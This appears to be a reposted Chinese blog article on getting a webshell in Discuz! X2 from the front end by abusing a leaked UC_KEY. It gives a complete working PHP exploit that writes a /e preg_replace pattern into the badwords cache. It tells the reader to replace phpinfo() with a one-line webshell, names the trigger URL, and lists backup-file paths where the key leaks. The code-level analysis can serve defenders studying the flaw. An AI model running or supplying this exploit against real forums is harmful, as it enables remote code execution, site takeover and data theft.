Discuz利用UC_KEY进行前台getshell

Posted 羊小弟

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Discuz利用UC_KEY进行前台getshell相关的知识,希望对你有一定的参考价值。

来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137991.html

先通过uc_key把恶意代码保存在/uc_client/data/cache/badwords.php,然后利用preg_replace() 进行任意代码执行。

先附上来源中的脚本。修改了一些代码。

<?php
$timestamp = time()+10*3600;
$host="ip地址";
$agent= md5("Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0");
$uc_key="网站的uc_key";
$code=urlencode(_authcode("agent=$agent&time=$timestamp&action=updatebadwords", \'ENCODE\', $uc_key));
$cmd1=\'<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="0">
<item id="findpattern">/(.*)/e</item>
<item id="replacement">phpinfo();</item>
</item>
</root>\';
$html1 = send($cmd1);
echo $html1;
function send($cmd){
    global $host,$code;
    $message = "POST /Discuz_X2/api/uc.php?code=".$code."  HTTP/1.1\\r\\n";
    $message .= "Accept: */*\\r\\n";
    $message .= "Referer: ".$host."\\r\\n";
    $message .= "Accept-Language: zh-cn\\r\\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\\r\\n";
    $message .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0\\r\\n";
    $message .= "Host: ".$host."\\r\\n";
    $message .= "Content-Length: ".strlen($cmd)."\\r\\n";
    $message .= "Connection: Close\\r\\n\\r\\n";
    $message .= $cmd;
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
    $resp = \'\';
    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
    return $resp;
}
function _authcode($string, $operation = \'DECODE\', $key = \'\', $expiry = 0) {
    $ckey_length = 4;
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == \'DECODE\' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : \'\';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == \'DECODE\' ? base64_decode(substr($string, $ckey_length)) : sprintf(\'%010d\', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = \'\';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == \'DECODE\') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return \'\';
        }
    } else {
        return $keyc.str_replace(\'=\', \'\', base64_encode($result));
    }
}
?>

  

整个poc应该要修改的地方有四处:

 

$host,$uc_key,<item id="replacement">phpinfo();</item>, $message = "POST /Discuz_X2/api/uc.php?code=".$code." HTTP/1.1\\r\\n";

第一处是网站的地址:填ip或者域名都行,第二个是获取到的uc_key,一般都是管理员才能看到,第三个就是phpinfo(); ,修改成一句话的脚本,第四个就是网站的目录,可能放在二级目录下。

看了下poc,就是构造一个code和xml数据,然后发送到/api/uc.php,跟一下这个php文件

	$code = @$_GET[\'code\'];
	parse_str(authcode($code, \'DECODE\', UC_KEY), $get);

  可以看到对$code进行解密,并且用parse_str()函数把参数解析注册成变量。

	$post = xml_unserialize(file_get_contents(\'php://input\'));

  读取post的内容,并用xml_unserialize()解析内容

看到这里,$action=updatebadwords,下面还有个段代码echo $uc_note->$get[\'action\']($get, $post); ,执行了updatebadwords()函数,上面有if判断了$get[\'action\']的值,所以不能造成代码执行。

	function updatebadwords($get, $post) {
		global $_G;

		if(!API_UPDATEBADWORDS) {
			return API_RETURN_FORBIDDEN;
		}

		$data = array();
		if(is_array($post)) {
			foreach($post as $k => $v) {
				$data[\'findpattern\'][$k] = $v[\'findpattern\'];
				$data[\'replace\'][$k] = $v[\'replacement\'];
			}
		}
		$cachefile = DISCUZ_ROOT.\'./uc_client/data/cache/badwords.php\';
		$fp = fopen($cachefile, \'w\');
		$s = "<?php\\r\\n";
		$s .= \'$_CACHE[\\\'badwords\\\'] = \'.var_export($data, TRUE).";\\r\\n";
		fwrite($fp, $s);
		fclose($fp);

  循环出post的数据,并把findpattern  replacement两个的值赋给$data,然后写入/uc_client/data/cache/badwords.php文件

把数据存进去了,那要把数据取出来才行,来看看哪里可以取。

根据文章的内容,触发点是:/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=dddd

根据discuz的mvc框架,调用了/source/module/forum/forum_ajax.php 

if($_G[\'gp_action\'] == \'checkusername\') {


	$username = trim($_G[\'gp_username\']);
	$usernamelen = dstrlen($username);
	if($usernamelen < 3) {
		showmessage(\'profile_username_tooshort\', \'\', array(), array(\'handle\' => false));
	} elseif($usernamelen > 15) {
		showmessage(\'profile_username_toolong\', \'\', array(), array(\'handle\' => false));
	}

	loaducenter();
	$ucresult = uc_user_checkname($username);

  调用了uc_user_checkname()函数

function uc_user_checkname($username) {
	return call_user_func(UC_API_FUNC, \'user\', \'check_username\', array(\'username\'=>$username));
}

  UC_API_FUNC默认是调用uc_api_mysql

define(\'UC_API_FUNC\', UC_CONNECT == \'mysql\' ? \'uc_api_mysql\' : \'uc_api_post\');

  

所以调用了uc_api_mysql(\'user\', \'check_username\', array(\'username\'=>$username))

function uc_api_mysql($model, $action, $args=array()) {
	global $uc_controls;
	if(empty($uc_controls[$model])) {
		include_once UC_ROOT.\'./lib/db.class.php\';
		include_once UC_ROOT.\'./model/base.php\';
		include_once UC_ROOT."./control/$model.php";
		eval("\\$uc_controls[\'$model\'] = new {$model}control();");
	}
	if($action{0} != \'_\') {
		$args = uc_addslashes($args, 1, TRUE);
		$action = \'on\'.$action;
		$uc_controls[$model]->input = $args;
		return $uc_controls[$model]->$action($args);
	} else {
		return \'\';
	}
}

  

可以看到$action重组成oncheck_username,并调用oncheck_username()

跟进oncheck_username()函数, 位于/uc_client/control/user.php 调用了_check_username()函数。

	function _check_username($username) {
		$username = addslashes(trim(stripslashes($username)));
		if(!$_ENV[\'user\']->check_username($username)) {
			return UC_USER_CHECK_USERNAME_FAILED;
		} elseif(!$_ENV[\'user\']->check_usernamecensor($username)) {
			return UC_USER_USERNAME_BADWORD;
		} elseif($_ENV[\'user\']->check_usernameexists($username)) {
			return UC_USER_USERNAME_EXISTS;
		}
		return 1;
	}

  

跟到check_usernamecensor() 函数中

	function check_usernamecensor($username) {
		$_CACHE[\'badwords\'] = $this->base->cache(\'badwords\');
		$censorusername = $this->base->get_setting(\'censorusername\');
		$censorusername = $censorusername[\'censorusername\'];
		$censorexp = \'/^(\'.str_replace(array(\'\\\\*\', "\\r\\n", \' \'), array(\'.*\', \'|\', \'\'), preg_quote(($censorusername = trim($censorusername)), \'/\')).\')$/i\';
		$usernamereplaced = isset($_CACHE[\'badwords\'][\'findpattern\']) && !empty($_CACHE[\'badwords\'][\'findpattern\']) ? @preg_replace($_CACHE[\'badwords\'][\'findpattern\'], $_CACHE[\'badwords\'][\'replace\'], $username) : $username;
		if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {
			return FALSE;
		} else {
			return TRUE;
		}
	}

  获取badwords的内容,并且把他存入数组$_CACHE[\'badwords\']

然后有这么一句:@preg_replace($_CACHE[\'badwords\'][\'findpattern\'], $_CACHE[\'badwords\'][\'replace\'], $username)

刚好就是我们第一步修改的地方,也就是我们可控的,所以造成了代码执行。

运行poc后在访问如下页面,就能执行代码了。

/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=dddd

 

要小心uc_key的泄露,有这么几种方式,

/config/config_ucenter.php.bak

/uc_server/data/cache/apps.php.bak

还有就是管理员弱口令登录到后台拿到uc_key。

 

以上是关于Discuz利用UC_KEY进行前台getshell的主要内容,如果未能解决你的问题,请参考以下文章

Discuz!7.2漏洞利用过程演示

phpcms v9前台getshell

[代码审计]phpshe开源商城后台两处任意文件删除至getshell

PHPCMS9.6.0最新版SQL注入和前台GETSHELL漏洞分析 (实验新课)

Discuz从GBK转码UTF-8的最佳方法

代码审计seacms 前台Getshell分析